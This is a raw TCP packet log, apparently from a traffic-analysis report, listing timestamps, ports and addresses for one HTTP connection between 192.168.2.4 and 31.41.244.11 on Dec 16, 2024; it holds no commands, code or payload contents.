Dec 16, 2024 21:03:02.488445997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.488501072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.488854885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.488914013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.488961935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.489747047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.489809036 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.489870071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.489927053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.490767002 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.490822077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.490911007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.490963936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.491462946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.491514921 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.491650105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.491702080 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.492338896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.492424011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.492476940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.493230104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.493275881 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.493360996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.493408918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.494190931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.494246960 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.494328976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.494383097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.495001078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.495052099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.495131969 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.495181084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.495898962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.495950937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.496027946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.496077061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.496790886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.496926069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.496989012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.497623920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.497674942 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.497814894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.497862101 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.498509884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.498555899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.498621941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.498666048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.499496937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.499563932 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.499582052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.499629021 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.500288010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.500349998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.500437975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.500488043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.501171112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.501286030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.501346111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.502036095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.502084017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.502136946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.502182007 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.502928019 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.502989054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.503113031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.503166914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.503827095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.504000902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.504033089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.504060984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.504723072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.504779100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.504827976 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.505553961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.505595922 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.505676031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.505722046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.506422997 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.506474018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.506561041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.506608009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.507395029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.507442951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.507548094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.507596016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.508223057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.508281946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.508377075 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.508425951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.509071112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.509210110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.509265900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.509987116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.510060072 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.510104895 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.510159969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.510842085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.510914087 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.510993004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.511048079 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.511732101 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.511794090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.511857986 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.511910915 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.512630939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.512754917 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.512840986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.513513088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.513586044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.513636112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.513690948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.514369965 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.514445066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.514519930 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.514799118 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.515348911 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.515402079 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.515439987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.515487909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.516148090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.516204119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.516267061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.516355991 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.517045021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.517159939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.517226934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.517923117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.517981052 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.518042088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.518098116 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.518778086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.518832922 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.518882036 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.518932104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.519675016 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.519728899 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.519731998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.519778013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.520549059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.520725012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.520776033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.521414995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.521466970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.521531105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.521608114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.522303104 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.522356033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.522418976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.522470951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.523247957 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.523426056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.523478985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.524065971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.524123907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.524194002 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.524245977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.524951935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.525052071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.525105953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.525815964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.525878906 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.525954962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.526011944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.526736021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.526787996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.526829958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.526880980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.527594090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.527642012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.527725935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.527779102 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.528544903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.528599977 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.528650045 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.529355049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.529419899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.529484034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.529537916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.530257940 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.530333042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.530359983 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.530404091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.531122923 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.531177044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.531223059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.531265020 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.532004118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.532062054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.678313971 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.678379059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.678721905 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.678751945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.678787947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.679146051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.679620981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.679733992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.679903030 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.680411100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.680464029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.680567026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.680619001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.681402922 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.681454897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.681456089 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.681504965 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.682177067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.682228088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.682267904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.682322979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.683062077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.683113098 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.683172941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.683223009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.683986902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.684039116 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.684155941 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.684201002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.684797049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.684863091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.684928894 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.684978962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.685691118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.685741901 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.685828924 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.685880899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.686602116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.686654091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.686665058 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.686713934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.687449932 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.687503099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.687566042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.687623024 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.688358068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.688415051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.688492060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.688540936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.689251900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.689301968 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.689405918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.689455986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.690126896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.690181017 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.690237999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.690285921 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.691014051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.691066027 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.691131115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.691181898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.691875935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.691927910 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.691992998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.692043066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.692754030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.692804098 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.692853928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.692908049 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.693698883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.693749905 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.693764925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.693816900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.694489956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.694540977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.694603920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.694653034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.695384026 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.695434093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.695513964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.695566893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.696260929 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.696319103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.696382046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.696434975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.697143078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.697194099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.697257042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.697305918 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.698060989 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.698122025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.698174953 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.698221922 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.698960066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.699016094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.699016094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.699078083 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.699840069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.699892998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.699954987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.700006008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.700705051 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.700756073 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.700824022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.700875044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.701621056 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.701673985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.701675892 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.701723099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.702466011 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.702521086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.702599049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.702649117 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.703367949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.703403950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.703439951 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.703464985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.704197884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.704267025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.704288960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.704349995 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.705110073 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.705163956 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.705168962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.705214977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.706008911 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.706058025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.706084013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.706130981 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.706932068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.707019091 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.707082033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.707139969 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.707739115 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.707791090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.707851887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.707906008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.708630085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.708735943 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.708740950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.708789110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.709489107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.709538937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.709602118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.709656954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.710372925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.710426092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.710500956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.710551023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.711280107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:02.711335897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:02.711350918 CET	80	49882	31.41.244.11	192.168.2.4
